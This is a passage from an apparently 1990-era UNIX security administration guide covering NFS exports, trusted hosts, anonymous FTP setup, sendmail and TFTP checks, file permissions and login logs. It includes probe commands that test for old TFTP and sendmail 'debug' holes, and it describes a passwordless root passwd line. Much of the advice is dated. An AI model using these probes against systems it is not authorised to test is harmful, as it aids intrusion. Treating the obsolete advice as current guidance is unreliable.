 the users in the group. If no login names are listed, then the group has no members. To
 create a group called ``hackers'' with Huey, Duey, and Louie as members, you would add
 a line such as this to the group file:

 hackers:*:100:huey,duey,louie

 After the group has been created, the files and directories the members wish to share
 can then be changed so that they are owned by this group, and the group permission bits
 on the files and directories can be set to allow sharing. Each user retains his own account,
 with his own password, thus protecting the security of the system.

 For example, to change Huey's ``programs'' directory to be owned by the new group
 and properly set up the permissions so that all members of the group may access it, the
 chgrp and chmod commands would be used as follows [Sun88a, 63-66]:

 # chgrp hackers ~huey/programs
 # chmod -R g+rw ~huey/programs

2.1.6   Yellow Pages

 The Sun Yellow Pages system [Sun88b, 349-374] allows many hosts to share pass-
 word files, group files, and other files via the network, while the files are stored on only a
 single host. Unfortunately, Yellow Pages also contains a few potential security holes.

 The principal way Yellow Pages works is to have a special line in the password or
 group file that begins with a ``+''. In the password file, this line looks like

 +::0:0:::

 and in the group file, it looks like

 +:

 These lines should only be present in the files stored on Yellow Pages client machines.
 They should not be present in the files on the Yellow Pages master machine(s). When a
 program reads the password or group file and encounters one of these lines, it goes
 through the network and requests the information it wants from the Yellow Pages server
 instead of trying to find it in the local file. In this way, the data does not have to be
 maintained on every host. Since the master machine already has all the information, there
 is no need for this special line to be present there.

 Generally speaking, the Yellow Pages service itself is reasonably secure. There are a
 few openings that a sophisticated (and dedicated) cracker could exploit, but Sun is rapidly
 closing these. The biggest problem with Yellow Pages is the ``+'' line in the password
 file. If the ``+'' is deleted from the front of the line, then this line loses its special Yellow
 Pages meaning. It instead becomes a regular password file line for an account with a null
 login name, no password, and user id zero (super-user). Thus, if a careless system

 10

 administrator accidentally deletes the ``+''. the whole system is wide open to any attack.*

 Yellow Pages is too useful a service to suggest turning it off, although turning it off
 would make your system more secure. Instead, it is recommended that you read carefully
 the information in the Sun manuals in order to be fully aware of Yellow Pages' abilities
 and its limitations.

2.2   NETWORK SECURITY

 As trends toward internetworking continue, most sites will, if they haven't already,
 connect themselves to one of the numerous regional networks springing up around the
 country. Most of these regional networks are also interconnected, forming the Internet
 [Hind83, Quar86]. This means that the users of your machine can access other hosts and
 communicate with other users around the world. Unfortunately, it also means that other
 hosts and users from around the world can access your machine, and attempt to break into
 it.

 Before internetworking became commonplace, protecting a system from unauthorized
 access simply meant locking the machine in a room by itself. Now that machines are con-
 nected by networks, however, security is much more complex. This section describes the
 tools and methods available to make your UNIX networks as secure as possible.

2.2.1   Trusted Hosts

 One of the most convenient features of the Berkeley (and Sun) UNIX networking
 software is the concept of ``trusted'' hosts. The software allows the specification of other
 hosts (and possibly users) who are to be considered trusted - remote logins and remote
 command executions from these hosts will be permitted without requiring the user to enter
 a password. This is very convenient, because users do not have to type their password
 every time they use the network. Unfortunately, for the same reason, the concept of a
 trusted host is also extremely insecure.

 The Internet worm made extensive use of the trusted host concept to spread itself
 throughout the network [Seel88]. Many sites that had already disallowed trusted hosts did
 fairly well against the worm compared with those sites that did allow trusted hosts. Even
 though it is a security hole, there are some valid uses for the trusted host concept. This
 section describes how to properly implement the trusted hosts facility while preserving as
 much security as possible.

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * Actually, a line like this without a ``+'' is dangerous in any password file, regardless of whether Yellow
Pages is in use.

 11

2.2.1.1   The hosts.equiv File

 The file /etc/hosts.equiv [Sun88a, 1397] can be used by the system administrator to
 indicate trusted hosts. Each trusted host is listed in the file, one host per line. If a user
 attempts to log in (using rlogin) or execute a command (using rsh) remotely from one of
 the systems listed in hosts.equiv, and that user has an account on the local system with the
 same login name, access is permitted without requiring a password.

 Provided adequate care is taken to allow only local hosts in the hosts.equiv file, a
 reasonable compromise between security and convenience can be achieved. Nonlocal
 hosts (including hosts at remote sites of the same organization) should never be trusted.
 Also, if there are any machines at your organization that are installed in ``public'' areas
 (e.g., terminal rooms) as opposed to private offices, you should not trust these hosts.

 On Sun systems, hosts.equiv is controlled with the Yellow Pages software. As distri-
 buted, the default hosts.equiv file distributed by Sun contains a single line:

 +

 This indicates that every known host (i.e., the complete contents of the host file) should be
 considered a trusted host. This is totally incorrect and a major security hole, since hosts
 outside the local organization should never be trusted. A correctly configured hosts.equiv
 should never list any ``wildcard'' hosts (such as the ``+''); only specific host names
 should be used. When installing a new system from Sun distribution tapes, you should be
 sure to either replace the Sun default hosts.equiv with a correctly configured one, or delete
 the file altogether.

2.2.1.2   The .rhosts File

 The .rhosts file [Sun88a, 1397] is similar in concept and format to the hosts.equiv
 file, but allows trusted access only to specific host-user combinations, rather than to hosts
 in general.* Each user may create a .rhosts file in his home directory, and allow access to
 her account without a password. Most people use this mechanism to allow trusted access
 between accounts they have on systems owned by different organizations who do not trust
 each other's hosts in hosts.equiv. Unfortunately, this file presents a major security prob-
 lem: While hosts.equiv is under the system administrator's control and can be managed
 effectively, any user may create a .rhosts file granting access to whomever he chooses,
 without the system administrator's knowledge.

 The only secure way to manage .rhosts files is to completely disallow them on the
 system. The system administrator should check the system often for violations of this pol-
 icy (see Section 3.3.1.4). One possible exception to this rule is the ``root'' account; a
 .rhosts file may be necessary to allow network backups and the like to be completed.

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * Actually, hosts.equiv may be used to specify host-user combinations as well, but this is rarely done.

 12

2.2.2   Secure Terminals

 Under newer versions of UNIX, the concept of a ``secure'' terminal has been intro-
 duced. Simply put, the super-user (``root'') may not log in on a nonsecure terminal, even
 with a password. (Authorized users may still use the su command to become super-user,
 however.) The file /etc/ttytab [Sun88a, 1478] is used to control which terminals are con-
 sidered secure.\(dg A short excerpt from this file is shown below.

 console "/usr/etc/getty std.9600" sun off secure
 ttya "/usr/etc/getty std.9600" unknown off secure
 ttyb "/usr/etc/getty std.9600" unknown off secure
 ttyp0 none network off secure
 ttyp1 none network off secure
 ttyp2 none network off secure

 The keyword ``secure'' at the end of each line indicates that the terminal is considered
 secure. To remove this designation, simply edit the file and delete the ``secure'' keyword.
 After saving the file, type the command (as super-user):

 # kill -HUP 1

 This tells the init process to reread the ttytab file.

 The Sun default configuration for ttytab is to consider all terminals secure, including
 ``pseudo'' terminals used by the remote login software. This means that ``root'' may log
 in remotely from any host on the network. A more secure configuration would consider
 as secure only directly connected terminals, or perhaps only the console device. This is
 how file servers and other machines with disks should be set up.

 The most secure configuration is to remove the ``secure'' designation from all termi-
 nals, including the console device. This requires that those users with super-user authority
 first log in as themselves, and then become the super-user via the su command. It also
 requires the ``root'' password to be entered when rebooting in single-user mode, in order
 to prevent users from rebooting their desktop workstations and obtaining super-user
 access. This is how all diskless client machines should be set up.

2.2.3   The Network File System

 The Network File System (NFS) [Sun88d] is designed to allow several hosts to share
 files over the network. One of the most common uses of NFS is to allow diskless works-
 tations to be installed in offices, while keeping all disk storage in a central location. As
 distributed by Sun, NFS has no security features enabled. This means that any host on the
 Internet may access your files via NFS, regardless of whether you trust them or not.

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 \(dg Under non-Sun versions of Berkeley UNIX, this file is called /etc/ttys.

 13

 Fortunately, there are several easy ways to make NFS more secure. The more com-
 monly used methods are described in this section, and these can be used to make your
 files quite secure from unauthorized access via NFS. Secure NFS, introduced in SunOS
 Release 4.0, takes security one step further, using public-key encryption techniques to
 ensure authorized access. Discussion of secure NFS is deferred until Section 4.

2.2.3.1   The exports File

 The file /etc/exports [Sun88a, 1377] is perhaps one of the most important parts of
 NFS configuration. This file lists which file systems are exported (made available for
 mounting) to other systems. A typical exports file as installed by the Sun installation pro-
 cedure looks something like this:

 /usr
 /home
 /var/spool/mail
 #
 /export/root/client1 -access=client1,root=client1
 /export/swap/client1 -access=client1,root=client1
 #
 /export/root/client2 -access=client2,root=client2
 /export/swap/client2 -access=client2,root=client2

 The root= keyword specifies the list of hosts that are allowed to have super-user access to
 the files in the named file system. This keyword is discussed in detail in Section 2.2.3.3.
 The access= keyword specifies the list of hosts (separated by colons) that are allowed to
 mount the named file system. If no access= keyword is specified for a file system, any
 host anywhere on the network may mount that file system via NFS.

 Obviously, this presents a major security problem, since anyone who can mount your
 file systems via NFS can then peruse them at her leisure. Thus, it is important that all file
 systems listed in exports have an access= keyword associated with them. If you have
 only a few hosts which must mount a file system, you can list them individually in the
 file:

 /usr -access=host1:host2:host3:host4:host5

 However, because the maximum number of hosts that can be listed this way is ten, the
 access= keyword will also allow netgroups to be specified. Netgroups are described in
 the next section.

 After making any changes to the exports file, you should run the command

 # exportfs -a

 in order to make the changes take effect.

 14

2.2.3.2   The netgroup File

 The file /etc/netgroup [Sun88a, 1407] is used to define netgroups. This file is con-
 trolled by Yellow Pages, and must be rebuilt in the Yellow Pages maps whenever it is
 modified. Consider the following sample netgroup file:

 A_Group (servera,,) (clienta1,,) (clienta2,,)

 B_Group (serverb,,) (clientb1,,) (clientb2,,)

 AdminStaff (clienta1,mary,) (clientb3,joan,)

 AllSuns A_Group B_Group

 This file defines four netgroups, called A_Group, B_Group, AdminStaff, and AllSuns.
 The AllSuns netgroup is actually a ``super group'' containing all the members of the
 A_Group and B_Group netgroups.

 Each member of a netgroup is defined as a triple: (host, user, domain). Typically,
 the domain field is never used, and is simply left blank. If either the host or user field is
 left blank, then any host or user is considered to match. Thus the triple (host,,) matches
 any user on the named host, while the triple (,user,) matches the named user on any host.

 Netgroups are useful when restricting access to NFS file systems via the exports file.
 For example, consider this modified version of the file from the previous section:

 /usr -access=A_Group
 /home -access=A_Group:B_Group
 /var/spool/mail -access=AllSuns
 #
 /export/root/client1 -access=client1,root=client1
 /export/swap/client1 -access=client1,root=client1
 #
 /export/root/client2 -access=client2,root=client2
 /export/swap/client2 -access=client2,root=client2

 The /usr file system may now only be mounted by the hosts in the A_Group netgroup,
 that is, servera, clienta1, and clienta2. Any other host that tries to mount this file system
 will receive an ``access denied'' error. The /home file system may be mounted by any of
 the hosts in either the A_Group or B_Group netgroups. The /var/spool/mail file system
 is also restricted to these hosts, but in this example we used the ``super group'' called
 AllSuns.

 Generally, the best way to configure the netgroup file is to make a single netgroup
 for each file server and its clients, and then to make other super groups, such as AllSuns.
 This allows you the flexibility to specify the smallest possible group of hosts for each file
 system in /etc/exports.

 Netgroups can also be used in the password file to allow access to a given host to be
 restricted to the members of that group, and they can be used in the hosts.equiv file to

 15

 centralize maintenance of the list of trusted hosts. The procedures for doing this are
 defined in more detail in the Sun manual.

2.2.3.3   Restricting Super-User Access

 Normally, NFS translates the super-user id to a special id called ``nobody'' in order
 to prevent a user with ``root'' on a remote workstation from accessing other people's files.
 This is good for security, but sometimes a nuisance for system administration, since you
 cannot make changes to files as ``root'' through NFS.

 The exports file also allows you to grant super-user access to certain file systems for
 certain hosts by using the root= keyword. Following this keyword a colon-separated list
 of up to ten hosts may be specified; these hosts will be allowed to access the file system
 as ``root'' without having the user id converted to ``nobody.'' Netgroups may not be
 specified to the root= keyword.

 Granting ``root'' access to a host should not be done lightly. If a host has ``root''
 access to a file system, then the super-user on that host will have complete access to the
 file system, just as if you had given him the ``root'' password on the server. Untrusted
 hosts should never be given ``root'' access to NFS file systems.

2.2.4   FTP

 The File Transfer Protocol, implemented by the ftp and ftpd programs [Sun88a,
 195-201, 1632-1634], allows users to connect to remote systems and transfer files back
 and forth. Unfortunately, older versions of these programs also had several bugs in them
 that allowed crackers to break into a system. These bugs have been fixed by Berkeley,
 and new versions are available. If your ftpd* was obtained before December 1988, you
 should get a newer version (see Section 4).

 One of the more useful features of FTP is the ``anonymous'' login. This special
 login allows users who do not have an account on your machine to have restricted access
 in order to transfer files from a specific directory. This is useful if you wish to distribute
 software to the public at large without giving each person who wants the software an
 account on your machine. In order to securely set up anonymous FTP you should follow
 the specific instructions below:

 1. Create an account called ``ftp.'' Disable the account by placing an asterisk (*)
 in the password field. Give the account a special home directory, such as
 /usr/ftp or /usr/spool/ftp.

 2. Make the home directory owned by ``ftp'' and unwritable by anyone:

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * On Sun systems, ftpd is stored in the file /usr/etc/in.ftpd. On most other systems, it is called /etc/ftpd.

 16

 # chown ftp ~ftp
 # chmod 555 ~ftp

 3. Make the directory ~ftp/bin, owned by the super-user and unwritable by anyone.
 Place a copy of the ls program in this directory:

 # mkdir ~ftp/bin
 # chown root ~ftp/bin
 # chmod 555 ~ftp/bin
 # cp -p /bin/ls ~ftp/bin
 # chmod 111 ~ftp/bin/ls

 4. Make the directory ~ftp/etc, owned by the super-user and unwritable by anyone.
 Place copies of the password and group files in this directory, with all the pass-
 word fields changed to asterisks (*). You may wish to delete all but a few of
 the accounts and groups from these files; the only account that must be present
 is ``ftp.''

 # mkdir ~ftp/etc
 # chown root ~ftp/etc
 # chmod 555 ~ftp/etc
 # cp -p /etc/passwd /etc/group ~ftp/etc
 # chmod 444 ~ftp/etc/passwd ~ftp/etc/group

 5. Make the directory ~ftp/pub, owned by ``ftp'' and world-writable. Users may
 then place files that are to be accessible via anonymous FTP in this directory:

 # mkdir ~ftp/pub
 # chown ftp ~ftp/pub
 # chmod 777 ~ftp/pub

 Because the anonymous FTP feature allows anyone to access your system (albeit in a
 very limited way), it should not be made available on every host on the network. Instead,
 you should choose one machine (preferably a server or standalone host) on which to allow
 this service. This makes monitoring for security violations much easier. If you allow
 people to transfer files to your machine (using the world-writable pub directory, described
 above), you should check often the contents of the directories into which they are allowed
 to write. Any suspicious files you find should be deleted.

2.2.4.1   Trivial FTP

 The Trivial File Transfer Protocol, TFTP, is used on Sun workstations (and others) to
 allow diskless hosts to boot from the network. Basically, TFTP is a stripped-down version
 of FTP - there is no user authentication, and the connection is based on the User
 Datagram Protocol instead of the Transmission Control Protocol. Because they are so
 stripped-down, many implementations of TFTP have security holes. You should check

 17

 your hosts by executing the command sequence shown below.

 % tftp
 tftp> connect yourhost
 tftp> get /etc/motd tmp
 Error code 1: File not found
 tftp> quit
 %

 If your version does not respond with ``File not found,'' and instead transfers the file, you
 should replace your version of tftpd* with a newer one. In particular, versions of SunOS
 prior to release 4.0 are known to have this problem.

2.2.5   Mail

 Electronic mail is one of the main reasons for connecting to outside networks. On
 most versions of Berkeley-derived UNIX systems, including those from Sun, the sendmail
 program [Sun88a, 1758-1760; Sun88b, 441-488] is used to enable the receipt and delivery
 of mail. As with the FTP software, older versions of sendmail have several bugs that
 allow security violations. One of these bugs was used with great success by the Internet
 worm [Seel88, Spaf88]. The current version of sendmail from Berkeley is version 5.61,
 of January 1989. Sun is, as of this writing, still shipping version 5.59, which has a known
 security problem. They have, however, made a fixed version available. Section 4 details
 how to obtain these newer versions.

 Generally, with the exception of the security holes mentioned above, sendmail is rea-
 sonably secure when installed by most vendors' installation procedures. There are, how-
 ever, a few precautions that should be taken to ensure secure operation:

 1. Remove the ``decode'' alias from the aliases file (/etc/aliases or /usr/lib/aliases).

 2. If you create aliases that allow messages to be sent to programs, be absolutely
 sure that there is no way to obtain a shell or send commands to a shell from
 these programs.

 3. Make sure the ``wizard'' password is disabled in the configuration file,
 sendmail.cf. (Unless you modify the distributed configuration files, this
 shouldn't be a problem.)

 4. Make sure your sendmail does not support the ``debug'' command. This can be
 done with the following commands:

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * On Sun systems, tftpd is stored in the file /usr/etc/in.tftpd. On most other systems, it is called /etc/tftpd.

 18

 % telnet localhost 25
 220 yourhost Sendmail 5.61 ready at 9 Mar 90 10:57:36 PST
 debug
 500 Command unrecognized
 quit
 %

 If your sendmail responds to the ``debug'' command with ``200 Debug set,''
 then you are vulnerable to attack and should replace your sendmail with a
 newer version.

 By following the procedures above, you can be sure that your mail system is secure.

2.2.6   Finger

 The ``finger'' service, provided by the finger program [Sun88a, 186-187], allows you
 to obtain information about a user such as her full name, home directory, last login time,
 and in some cases when she last received mail and/or read her mail. The fingerd program
 [Sun88a, 1625] allows users on remote hosts to obtain this information.

 A bug in fingerd was also exercised with success by the Internet worm [Seel88,
 Spaf88]. If your version of fingerd* is older than November 5, 1988, it should be
 replaced with a newer version. New versions are available from several of the sources
 described in Section 4.

2.2.7   Modems and Terminal Servers

 Modems and terminal servers (terminal switches, Annex boxes, etc.) present still
 another potential security problem. The main problem with these devices is one of
 configuration - misconfigured hardware can allow security breaches. Explaining how to
 configure every brand of modem and terminal server would require volumes. However,
 the following items should be checked for on any modems or terminal servers installed at
 your site:

 1. If a user dialed up to a modem hangs up the phone, the system should log him
 out. If it doesn't, check the hardware connections and the kernel configuration
 of the serial ports.

 2. If a user logs off, the system should force the modem to hang up. Again, check
 the hardware connections if this doesn't work.

 3. If the connection from a terminal server to the system is broken, the system
 should log the user off.
\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * On Sun systems, fingerd is stored in /usr/etc/in.fingerd. On most other systems, it is called /etc/fingerd.

 19

 4. If the terminal server is connected to modems, and the user hangs up, the termi-
 nal server should inform the system that the user has hung up.

 Most modem and terminal server manuals cover in detail how to properly connect
 these devices to your system. In particular you should pay close attention to the ``Carrier
 Detect,'' ``Clear to Send,'' and ``Request to Send'' connections.

2.2.8   Firewalls

 One of the newer ideas in network security is that of a firewall. Basically, a firewall
 is a special host that sits between your outside-world network connection(s) and your
 internal network(s). This host does not send out routing information about your internal
 network, and thus the internal network is ``invisible'' from the outside. In order to
 configure a firewall machine, the following considerations need to be taken:

 1. The firewall does not advertise routes. This means that users on the internal
 network must log in to the firewall in order to access hosts on remote networks.
 Likewise, in order to log in to a host on the internal network from the outside, a
 user must first log in to the firewall machine. This is inconvenient, but more
 secure.

 2. All electronic mail sent by your users must be forwarded to the firewall machine
 if it is to be delivered outside your internal network. The firewall must receive
 all incoming electronic mail, and then redistribute it. This can be done either
 with aliases for each user or by using name server MX records.

 3. The firewall machine should not mount any file systems via NFS, or make any
 of its file systems available to be mounted.

 4. Password security on the firewall must be rigidly enforced.

 5. The firewall host should not trust any other hosts regardless of where they are.
 Furthermore, the firewall should not be trusted by any other host.

 6. Anonymous FTP and other similar services should only be provided by the
 firewall host, if they are provided at all.

 The purpose of the firewall is to prevent crackers from accessing other hosts on your
 network. This means, in general, that you must maintain strict and rigidly enforced secu-
 rity on the firewall, but the other hosts are less vulnerable, and hence security may be
 somewhat lax. But it is important to remember that the firewall is not a complete cure
 against crackers - if a cracker can break into the firewall machine, he can then try to
 break into any other host on your network.

2.3   FILE SYSTEM SECURITY

 The last defense against system crackers are the permissions offered by the file sys-
 tem. Each file or directory has three sets of permission bits associated with it: one set for

 20

 the user who owns the file, one set for the users in the group with which the file is associ-
 ated, and one set for all other users (the ``world'' permissions). Each set contains three
 identical permission bits, which control the following:

 read If set, the file or directory may be read. In the case of a directory, read
 access allows a user to see the contents of a directory (the names of the
 files contained therein), but not to access them.

 write If set, the file or directory may be written (modified). In the case of a
 directory, write permission implies the ability to create, delete, and rename
 files. Note that the ability to remove a file is not controlled by the per-
 missions on the file, but rather the permissions on the directory containing
 the file.

 execute If set, the file or directory may be executed (searched). In the case of a
 directory, execute permission implies the ability to access files contained
 in that directory.

 In addition, a fourth permission bit is available in each set of permissions. This bit
 has a different meaning in each set of permission bits:

 setuid If set in the owner permissions, this bit controls the ``set user id'' (setuid)
 status of a file. Setuid status means that when a program is executed, it
 executes with the permissions of the user owning the program, in addition
 to the permissions of the user executing the program. For example, send-
 mail is setuid ``root,'' allowing it to write files in the mail queue area,
 which normal users are not allowed to do. This bit is meaningless on
 nonexecutable files.

 setgid If set in the group permissions, this bit controls the ``set group id'' (setgid)
 status of a file. This behaves in exactly the same way as the setuid bit,
 except that the group id is affected instead. This bit is meaningless on
 non-executable files (but see below).

 sticky If set in the world permissions, the ``sticky'' bit tells the operating system
 to do special things with the text image of an executable file. It is mostly a
 holdover from older versions of UNIX, and has little if any use today. This
 bit is also meaningless on nonexecutable files (but see below).

2.3.1   Setuid Shell Scripts

 Shell scripts that have the setuid or setgid bits set on them are not secure, regardless of
how many safeguards are taken when writing them. There are numerous software packages
available that claim to make shell scripts secure, but every one released so far has not
managed to solve all the problems.

 Setuid and setgid shell scripts should never be allowed on any UNIX system.

 21

2.3.2   The Sticky Bit on Directories

 Newer versions of UNIX have attached a new meaning to the sticky bit. When this bit is
set on a directory, it means that users may not delete or rename other users' files in this direc-
tory. This is typically useful for the /tmp directory. Normally, /tmp is world-writable, ena-
bling any user to delete another user's files. By setting the sticky bit on /tmp, users may only
delete their own files from this directory.

 To set the sticky bit on a directory, use the command

 # chmod o+t directory

2.3.3   The Setgid Bit on Directories

 In SunOS 4.0, the setgid bit was also given a new meaning. Two rules can be used for
assigning group ownership to a file in SunOS:

 1. The System V mechanism, which says that a user's primary group id (the one listed
 in the password file) is assigned to any file he creates.

 2. The Berkeley mechanism, which says that the group id of a file is set to the group
 id of the directory in which it is created.

 If the setgid bit is set on a directory, the Berkeley mechanism is enabled. Otherwise, the
System V mechanism is enabled. Normally, the Berkeley mechanism is used; this mechanism
must be used if creating directories for use by more than one member of a group (see Section
2.1.5).

 To set the setgid bit on a directory, use the command

 # chmod g+s directory

2.3.4   The umask Value

 When a file is created by a program, say a text editor or a compiler, it is typically
created with all permissions enabled. Since this is rarely desirable (you don't want other
users to be able to write your files), the umask value is used to modify the set of permissions
a file is created with. Simply put, while the chmod command [Sun88a, 65-66] specifies what
bits should be turned on, the umask value specifies what bits should be turned off.

 For example, the default umask on most systems is 022. This means that write permis-
sion for the group and world should be turned off whenever a file is created. If instead you
wanted to turn off all group and world permission bits, such that any file you created would
not be readable, writable, or executable by anyone except yourself, you would set your umask
to 077.

 The umask value is specified in the .cshrc or .profile files read by the shell using the
umask command [Sun88a, 108, 459]. The ``root'' account should have the line

 22

 umask 022

in its /.cshrc file, in order to prevent the accidental creation of world-writable files owned by
the super-user.

2.3.5   Encrypting Files

 The standard UNIX crypt command [Sun88a, 95] is not at all secure. Although it is rea-
sonable to expect that crypt will keep the casual ``browser'' from reading a file, it will
present nothing more than a minor inconvenience to a determined cracker. Crypt implements
a one-rotor machine along the lines of the German Enigma (broken in World War II). The
methods of attack on such a machine are well known, and a sufficiently large file can usually
be decrypted in a few hours even without knowledge of what the file contains [Reed84]. In
fact, publicly available packages of programs designed to ``break'' files encrypted with crypt
have been around for several years.

 There are software implementations of another algorithm, the Data Encryption Standard
(DES), available on some systems. Although this algorithm is much more secure than crypt,
it has never been proven that it is totally secure, and many doubts about its security have been
raised in recent years.

 Perhaps the best thing to say about encrypting files on a computer system is this: if you
think you have a file whose contents are important enough to encrypt, then that file should not
be stored on the computer in the first place. This is especially true of systems with limited
security, such as UNIX systems and personal computers.

 It is important to note that UNIX passwords are not encrypted with the crypt program.
Instead, they are encrypted with a modified version of the DES that generates one-way encryp-
tions (that is, the password cannot be decrypted). When you log in, the system does not
decrypt your password. Instead, it encrypts your attempted password, and if this comes out to
the same result as encrypting your real password, you are allowed to log in.

2.3.6   Devices

 The security of devices is an important issue in UNIX. Device files (usually residing in
/dev) are used by various programs to access the data on the disk drives or in memory. If
these device files are not properly protected, your system is wide open to a cracker. The
entire list of devices is too long to go into here, since it varies widely from system to system.
However, the following guidelines apply to all systems:

 1. The files /dev/kmem, /dev/mem, and /dev/drum should never be readable by the
 world. If your system supports the notion of the ``kmem'' group (most newer sys-
 tems do) and utilities such as ps are setgid ``kmem,'' then these files should be
 owned by user ``root'' and group ``kmem,'' and should be mode 640. If your sys-
 tem does not support the notion of the ``kmem'' group, and utilities such as ps are
 setuid ``root,'' then these files should be owned by user ``root'' and mode 600.

 23

 2. The disk devices, such as /dev/sd0a, /dev/rxy1b, etc., should be owned by user
 ``root'' and group ``operator,'' and should be mode 640. Note that each disk has
 eight partitions and two device files for each partition. Thus, the disk ``sd0'' would
 have the following device files associated with it in /dev:

 sd0a sd0e rsd0a rsd0e
 sd0b sd0f rsd0b rsd0f
 sd0c sd0g rsd0c rsd0g
 sd0d sd0h rsd0d rsd0h

 3. With very few exceptions, all other devices should be owned by user ``root.'' One
 exception is terminals, which are changed to be owned by the user currently logged
 in on them. When the user logs out, the ownership of the terminal is automatically
 changed back to ``root.''

2.4   SECURITY IS YOUR RESPONSIBILITY

 This section has detailed numerous tools for improving security provided by the UNIX
operating system. The most important thing to note about these tools is that although they are
available, they are typically not put to use in most installations. Therefore, it is incumbent on
you, the system administrator, to take the time and make the effort to enable these tools, and
thus to protect your system from unauthorized access.

 24

 SECTION 3
 MONITORING SECURITY

 One of the most important tasks in keeping any computer system secure is monitoring
the security of the system. This involves examining system log files for unauthorized
accesses of the system, as well as monitoring the system itself for security holes. This section
describes the procedures for doing this. An additional part of monitoring security involves
keeping abreast of security problems found by others; this is described in Section 5.

3.1   ACCOUNT SECURITY

 Account security should be monitored periodically in order to check for two things: users
logged in when they ``shouldn't'' be (e.g., late at night, when they're on vacation, etc.), and
users executing commands they wouldn't normally be expected to use. The commands
described in this section can be used to obtain this information from the system.

3.1.1   The lastlog File

 The file /usr/adm/lastlog [Sun88a, 1485] records the most recent login time for each user
of the system. The message printed each time you log in, e.g.,

 Last login: Sat Mar 10 10:50:48 from spam.itstd.sri.c

uses the time stored in the lastlog file. Additionally, the last login time reported by the
finger command uses this time. Users should be told to carefully examine this time whenever
they log in, and to report unusual login times to the system administrator. This is an easy
way to detect account break-ins, since each user should remember the last time she logged
into the system.

3.1.2   The utmp and wtmp Files

 The file /etc/utmp [Sun88a, 1485] is used to record who is currently logged into the sys-
tem. This file can be displayed using the who command [Sun88a, 597]:

 % who
 hendra tty0c Mar 13 12:31
 heidari tty14 Mar 13 13:54
 welgem tty36 Mar 13 12:15
 reagin ttyp0 Mar 13 08:54 (aaifs.itstd.sri.)
 ghg ttyp1 Mar 9 07:03 (hydra.riacs.edu)
 compion ttyp2 Mar 1 03:01 (ei.ecn.purdue.ed)

For each user, the login name, terminal being used, login time, and remote host (if the user is

 25

logged in via the network) are displayed.

 The file /usr/adm/wtmp [Sun88a, 1485] records each login and logout time for every
user. This file can also be displayed using the who command:

 % who /usr/adm/wtmp
 davy ttyp4 Jan 7 12:42 (annex01.riacs.ed)
  ttyp4 Jan 7 15:33
 davy ttyp4 Jan 7 15:33 (annex01.riacs.ed)
  ttyp4 Jan 7 15:35
 hyder ttyp3 Jan 8 09:07 (triceratops.itst)
  ttyp3 Jan 8 11:43

A line that contains a login name indicates the time the user logged in; a line with no login
name indicates the time that the terminal was logged off. Unfortunately, the output from this
command is rarely as simple as in the example above; if several users log in at once, the
login and logout times are all mixed together and must be matched up by hand using the ter-
minal name.

 The wtmp file may also be examined using the last command [Sun88a, 248]. This com-
mand sorts out the entries in the file, matching up login and logout times. With no argu-
ments, last displays all information in the file. By giving the name of a user or terminal, the
output can be restricted to the information about the user or terminal in question. Sample out-
put from the last command is shown below.

 % last
 davy ttyp3 intrepid.itstd.s Tue Mar 13 10:55 - 10:56 (00:00)
 hyder ttyp3 clyde.itstd.sri. Mon Mar 12 15:31 - 15:36 (00:04)
 reboot ~ Mon Mar 12 15:16
 shutdown ~ Mon Mar 12 15:16
 arms ttyp3 clyde0.itstd.sri Mon Mar 12 15:08 - 15:12 (00:04)
 hyder ttyp3 spam.itstd.sri.c Sun Mar 11 21:08 - 21:13 (00:04)
 reboot ~ Sat Mar 10 20:05
 davy ftp hydra.riacs.edu Sat Mar 10 13:23 - 13:30 (00:07)

For each login session, the user name, terminal used, remote host (if the user logged in via
the network), login and logout times, and session duration are shown. Additionally, the times
of all system shutdowns and reboots (generated by the shutdown and reboot commands
[Sun88a, 1727, 1765]) are recorded. Unfortunately, system crashes are not recorded. In
newer versions of the operating system, pseudo logins such as those via the ftp command are
also recorded; an example of this is shown in the last line of the sample output, above.

3.1.3   The acct File

 The file /usr/adm/acct [Sun88a, 1344-1345] records each execution of a command on the
system, who executed it, when, and how long it took. This information is logged each time a
command completes, but only if your kernel was compiled with the SYSACCT option enabled
(the option is enabled in some GENERIC kernels, but is usually disabled by default).

 26

 The acct file can be displayed using the lastcomm command [Sun88a, 249]. With no
arguments, all the information in the file is displayed. However, by giving a command name,
user name, or terminal name as an argument, the output can be restricted to information about
the given command, user, or terminal. Sample output from lastcomm is shown below.

 % lastcomm
 sh S root __ 0.67 secs Tue Mar 13 12:45
 atrun root __ 0.23 secs Tue Mar 13 12:45
 lpd F root __ 1.06 secs Tue Mar 13 12:44
 lpr S burwell tty09 1.23 secs Tue Mar 13 12:44
 troff burwell tty09 12.83 secs Tue Mar 13 12:44
 eqn burwell tty09 1.44 secs Tue Mar 13 12:44
 df kindred ttyq7 0.78 secs Tue Mar 13 12:44
 ls kindred ttyq7 0.28 secs Tue Mar 13 12:44
 cat kindred ttyq7 0.05 secs Tue Mar 13 12:44
 stty kindred ttyq7 0.05 secs Tue Mar 13 12:44
 tbl burwell tty09 1.08 secs Tue Mar 13 12:44
 rlogin S jones ttyp3 5.66 secs Tue Mar 13 12:38
 rlogin F jones ttyp3 2.53 secs Tue Mar 13 12:41
 stty kindred ttyq7 0.05 secs Tue Mar 13 12:44

The first column indicates the name of the command. The next column displays certain flags
on the command: an ``F'' means the process spawned a child process, ``S'' means the process
ran with the set-user-id bit set, ``D'' means the process exited with a core dump, and ``X''
means the process was killed abnormally. The remaining columns show the name of the user
who ran the program, the terminal he ran it from (if applicable), the amount of CPU time used
by the command (in seconds), and the date and time the process started.

3.2   NETWORK SECURITY

 Monitoring network security is more difficult, because there are so many ways for a
cracker to attempt to break in. However, there are some programs available to aid you in this
task. These are described in this section.

3.2.1   The syslog Facility

 The syslog facility [Sun88a, 1773] is a mechanism that enables any command to log
